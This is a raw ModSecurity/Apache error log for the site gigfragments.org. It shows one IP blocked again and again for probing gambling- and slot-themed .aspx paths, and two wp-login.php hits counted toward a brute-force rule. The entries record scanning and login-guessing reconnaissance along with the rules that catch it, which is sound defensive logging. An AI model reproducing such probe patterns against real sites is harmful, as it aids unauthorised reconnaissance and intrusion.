[Fri Jan 30 19:09:51.330986 2026] [:error] [pid 46912:tid 46938] [client 51.75.118.147:59632] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "aXyRfz6yiVW7A9NwFFnMqgAAAA4"]
[Fri Jan 30 19:09:53.471859 2026] [:error] [pid 24712:tid 24751] [client 51.75.118.147:59648] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "aXyRgYRLQrFiQF3h9-swAwAAAYo"]
[Fri Jan 30 19:09:55.766211 2026] [:error] [pid 24711:tid 24726] [client 51.75.118.147:59662] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "aXyRg65Gwh4var6T23JzEAAAAUw"]
[Fri Jan 30 19:09:57.991683 2026] [:error] [pid 46913:tid 46968] [client 51.75.118.147:59666] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "aXyRhTMWmKL8hOfC3uS9ngAAAFE"]
[Fri Jan 30 19:10:00.062846 2026] [:error] [pid 46913:tid 46972] [client 51.75.118.147:34212] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "aXyRiDMWmKL8hOfC3uS9nwAAAFU"]
[Fri Jan 30 19:10:02.011145 2026] [:error] [pid 46914:tid 46996] [client 51.75.118.147:34222] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "aXyRilgSfJ4kZxNKlb-s8AAAAJI"]
[Fri Jan 30 19:10:03.854875 2026] [:error] [pid 46912:tid 46940] [client 51.75.118.147:34224] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "aXyRiz6yiVW7A9NwFFnMsgAAABA"]
[Fri Jan 30 19:10:05.814569 2026] [:error] [pid 24711:tid 24733] [client 51.75.118.147:34226] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "aXyRja5Gwh4var6T23JzYQAAAVM"]
[Fri Jan 30 19:10:07.985504 2026] [:error] [pid 46913:tid 46974] [client 51.75.118.147:34240] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "aXyRjzMWmKL8hOfC3uS9pAAAAFc"]
[Fri Jan 30 19:10:10.130182 2026] [:error] [pid 47021:tid 47038] [client 51.75.118.147:60332] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "aXyRktap1k13UdZUNSQwNQAAAM8"]
[Fri Jan 30 19:10:12.221261 2026] [:error] [pid 24711:tid 24717] [client 51.75.118.147:60346] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "aXyRlK5Gwh4var6T23JzbgAAAUM"]
[Fri Jan 30 19:10:14.484823 2026] [:error] [pid 47021:tid 47026] [client 51.75.118.147:60350] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "aXyRltap1k13UdZUNSQwPAAAAMM"]
[Fri Jan 30 19:10:16.613042 2026] [:error] [pid 38980:tid 38993] [client 51.75.118.147:60352] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "aXyRmLYByxUZEaKXdHqROAAAAgY"]
[Fri Jan 30 19:10:18.766898 2026] [:error] [pid 47021:tid 47047] [client 51.75.118.147:60356] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "aXyRmtap1k13UdZUNSQwQQAAANg"]
[Fri Jan 30 19:10:20.770772 2026] [:error] [pid 24681:tid 24695] [client 51.75.118.147:45046] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/demon%20slot%20game.aspx"] [unique_id "aXyRnIE368IXQpahn0JvswAAAQw"]
[Fri Jan 30 19:10:21.479737 2026] [:error] [pid 24711:tid 24721] [client 91.217.249.185:47161] [client 91.217.249.185] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.217.249.185, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXyRna5Gwh4var6T23JzfwAAAUc"]
[Fri Jan 30 19:10:21.502012 2026] [:error] [pid 24681:tid 24704] [client 91.217.249.218:53505] [client 91.217.249.218] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.217.249.218, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXyRnYE368IXQpahn0JvuAAAARU"]
[Fri Jan 30 19:10:23.018198 2026] [:error] [pid 46914:tid 46985] [client 51.75.118.147:45048] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "aXyRn1gSfJ4kZxNKlb-tHgAAAIc"]
[Fri Jan 30 19:10:25.065306 2026] [:error] [pid 46912:tid 46938] [client 51.75.118.147:45062] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g2g%20slot.aspx"] [unique_id "aXyRoT6yiVW7A9NwFFnM2wAAAA4"]
[Fri Jan 30 19:10:27.393695 2026] [:error] [pid 46912:tid 46937] [client 51.75.118.147:45076] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aXyRoz6yiVW7A9NwFFnM3QAAAA0"]
[Fri Jan 30 19:10:29.697636 2026] [:error] [pid 24681:tid 24697] [client 51.75.118.147:49634] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aXyRpYE368IXQpahn0Jv0gAAAQ4"]
[Fri Jan 30 19:10:31.837382 2026] [:error] [pid 38686:tid 38708] [client 51.75.118.147:49642] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "aXyRpwoE8BAjgw1_sAVWWgAAAdI"]
[Fri Jan 30 19:10:34.300856 2026] [:error] [pid 38686:tid 38699] [client 51.75.118.147:49652] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h25%20com.aspx"] [unique_id "aXyRqgoE8BAjgw1_sAVWXAAAAck"]
[Fri Jan 30 19:10:36.382108 2026] [:error] [pid 24712:tid 24756] [client 51.75.118.147:49668] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jili%20slot.aspx"] [unique_id "aXyRrIRLQrFiQF3h9-swVAAAAY8"]
[Fri Jan 30 19:10:38.953364 2026] [:error] [pid 24711:tid 24722] [client 51.75.118.147:49684] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20slot.aspx"] [unique_id "aXyRrq5Gwh4var6T23JznAAAAUg"]
[Fri Jan 30 19:10:40.957649 2026] [:error] [pid 46914:tid 46980] [client 51.75.118.147:38946] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20vip.aspx"] [unique_id "aXyRsFgSfJ4kZxNKlb-tRAAAAII"]
[Fri Jan 30 19:10:43.026640 2026] [:error] [pid 24712:tid 24748] [client 51.75.118.147:38962] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kingkong%20joker.aspx"] [unique_id "aXyRs4RLQrFiQF3h9-swYQAAAYc"]
[Fri Jan 30 19:11:23.614940 2026] [:error] [pid 24711:tid 24736] [client 51.75.118.147:38978] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20168.aspx"] [unique_id "aXyR265Gwh4var6T23Jz7AAAAVY"]
[Fri Jan 30 19:11:25.976345 2026] [:error] [pid 46914:tid 46987] [client 51.75.118.147:54410] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20789.aspx"] [unique_id "aXyR3VgSfJ4kZxNKlb-tYgAAAIk"]
[Fri Jan 30 19:11:28.098691 2026] [:error] [pid 46913:tid 46959] [client 51.75.118.147:54420] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20888th.aspx"] [unique_id "aXyR4DMWmKL8hOfC3uS91QAAAEg"]
[Fri Jan 30 19:11:30.214733 2026] [:error] [pid 46914:tid 46997] [client 51.75.118.147:35358] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aXyR4lgSfJ4kZxNKlb-tZgAAAJM"]
[Fri Jan 30 19:11:32.362802 2026] [:error] [pid 46914:tid 46987] [client 51.75.118.147:35364] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aXyR5FgSfJ4kZxNKlb-tbwAAAIk"]
[Fri Jan 30 19:11:34.468893 2026] [:error] [pid 47021:tid 47029] [client 51.75.118.147:35380] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20game.aspx"] [unique_id "aXyR5tap1k13UdZUNSQwdgAAAMY"]
[Fri Jan 30 19:11:36.454777 2026] [:error] [pid 38980:tid 39004] [client 51.75.118.147:35388] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aXyR6LYByxUZEaKXdHqRYwAAAhE"]
[Fri Jan 30 19:11:38.636385 2026] [:error] [pid 24711:tid 24736] [client 51.75.118.147:35394] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aXyR6q5Gwh4var6T23Jz-AAAAVY"]
[Fri Jan 30 19:11:40.789934 2026] [:error] [pid 46914:tid 46994] [client 51.75.118.147:41188] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aXyR7FgSfJ4kZxNKlb-tgwAAAJA"]
[Fri Jan 30 19:11:42.901102 2026] [:error] [pid 46912:tid 46934] [client 51.75.118.147:41204] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "aXyR7j6yiVW7A9NwFFnM-gAAAAo"]
[Fri Jan 30 19:11:45.108620 2026] [:error] [pid 47663:tid 47676] [client 51.75.118.147:41220] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "aXyR8UHGTrgIKCqEYbWIWwAAAks"]
[Fri Jan 30 19:11:47.253452 2026] [:error] [pid 38686:tid 38708] [client 51.75.118.147:41224] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "aXyR8woE8BAjgw1_sAVWiAAAAdI"]
[Fri Jan 30 19:11:49.194629 2026] [:error] [pid 47021:tid 47024] [client 51.75.118.147:56126] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20world.aspx"] [unique_id "aXyR9dap1k13UdZUNSQwigAAAME"]
[Fri Jan 30 19:11:51.383514 2026] [:error] [pid 47021:tid 47034] [client 51.75.118.147:56128] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgslot%20login.aspx"] [unique_id "aXyR99ap1k13UdZUNSQwlQAAAMs"]
[Fri Jan 30 19:11:53.248541 2026] [:error] [pid 24711:tid 24737] [client 51.75.118.147:56142] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgzeed%20gold.aspx"] [unique_id "aXyR-a5Gwh4var6T23J0CgAAAVc"]
[Fri Jan 30 19:11:55.410202 2026] [:error] [pid 46912:tid 46945] [client 51.75.118.147:56152] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp%20slot.aspx"] [unique_id "aXyR-z6yiVW7A9NwFFnNAQAAABU"]
[Fri Jan 30 19:11:57.549877 2026] [:error] [pid 46912:tid 46948] [client 51.75.118.147:56160] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches666%20pg.aspx"] [unique_id "aXyR_T6yiVW7A9NwFFnNAgAAABg"]
[Fri Jan 30 19:11:59.689529 2026] [:error] [pid 24711:tid 24730] [client 51.75.118.147:50902] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "aXyR_65Gwh4var6T23J0EgAAAVA"]
[Fri Jan 30 19:12:01.793117 2026] [:error] [pid 38980:tid 39009] [client 51.75.118.147:50910] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/royal%20slot.aspx"] [unique_id "aXySAbYByxUZEaKXdHqRbgAAAhY"]
[Fri Jan 30 19:12:03.863041 2026] [:error] [pid 38686:tid 38706] [client 51.75.118.147:50924] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "aXySAwoE8BAjgw1_sAVWkwAAAdA"]
[Fri Jan 30 19:12:05.869050 2026] [:error] [pid 38686:tid 38709] [client 51.75.118.147:50940] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "aXySBQoE8BAjgw1_sAVWlwAAAdM"]
[Fri Jan 30 19:12:08.074726 2026] [:error] [pid 38686:tid 38691] [client 51.75.118.147:50954] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20ca.aspx"] [unique_id "aXySCAoE8BAjgw1_sAVWmQAAAcE"]
[Fri Jan 30 19:12:10.433461 2026] [:error] [pid 38980:tid 38999] [client 51.75.118.147:50512] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "aXySCrYByxUZEaKXdHqRdAAAAgw"]
[Fri Jan 30 19:12:12.401728 2026] [:error] [pid 24711:tid 24721] [client 51.75.118.147:50518] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20888.aspx"] [unique_id "aXySDK5Gwh4var6T23J0GAAAAUc"]
[Fri Jan 30 19:12:14.413135 2026] [:error] [pid 47021:tid 47041] [client 51.75.118.147:50528] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%2099.aspx"] [unique_id "aXySDtap1k13UdZUNSQwngAAANI"]
[Fri Jan 30 19:12:16.683036 2026] [:error] [pid 46913:tid 46952] [client 51.75.118.147:50542] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20auto.aspx"] [unique_id "aXySEDMWmKL8hOfC3uS98gAAAEE"]
[Fri Jan 30 19:12:19.296733 2026] [:error] [pid 38686:tid 38698] [client 51.75.118.147:56248] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20demo.aspx"] [unique_id "aXySEwoE8BAjgw1_sAVWoQAAAcg"]
[Fri Jan 30 19:12:57.666242 2026] [:error] [pid 24712:tid 24745] [client 51.75.118.147:56264] [client 51.75.118.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slotxo%20wallet.aspx"] [unique_id "aXySOYRLQrFiQF3h9-swwgAAAYQ"]
